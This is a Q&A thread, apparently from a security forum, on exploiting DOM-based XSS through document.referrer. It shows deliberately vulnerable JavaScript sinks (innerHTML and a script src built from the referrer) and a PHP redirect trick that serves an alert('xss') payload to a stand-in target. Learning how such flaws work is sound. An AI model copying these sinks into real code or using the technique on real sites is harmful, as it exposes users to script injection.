A very simple example...

<div id="cat"></div>
document.getElementById("cat").innerHTML = document.referrer;


<script src="' + document.referrer + '"></script>

I've tried simply sending the request and adding a referrer header, but that doesn't seem to echo onto the page.

  • Perhaps your browser has some integrated "protection" against reflected XSS. Aug 27, 2014 at 7:56
  • @CodesInChaos I've tried two separate versions of Firefox. Also, I'm not setting the referrer header to anything harmful and it still doesn't work for the first example. Aug 27, 2014 at 8:01
  • @CodesInChaos That always bugs me, but it is spelled "referrer". Aug 27, 2014 at 8:07
  • 1
    actually for me it works both on FF and chrome
    – aviv
    Aug 27, 2014 at 8:18
  • @aviv I've tried multiple times with Chrome and Firefox with the following page: jsfiddle.net/4zaz1uga and I get the same result every time. Aug 27, 2014 at 8:26

2 Answers 2


Updated browsers will encode the referrer URL.

So your examples will not work to trigger XSS nowadays.

Try this:

<div id="cat"></div>
document.getElementById("cat").innerHTML = decodeURIComponent(document.referrer);




The following code is vulnerable to DOM based XSS, because the attacker-controlled value of document.referrer is tracked by the browser:

<script src="' + document.referrer + '"></script>

The code above can be exploited using a page that upon first load redirects the browser to your target, on the 2nd load it returns an XSS payload. One way of doing this is checking the referer on the server-side:

if($_SERVER['HTTP_REFERER'] == 'http://target.com/xss'){
   print "alert('xss')";
   header("location: http://target.com/xss")

When the page http://target.com/xss loads, javascript from document.referer it will load alert('xss').

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .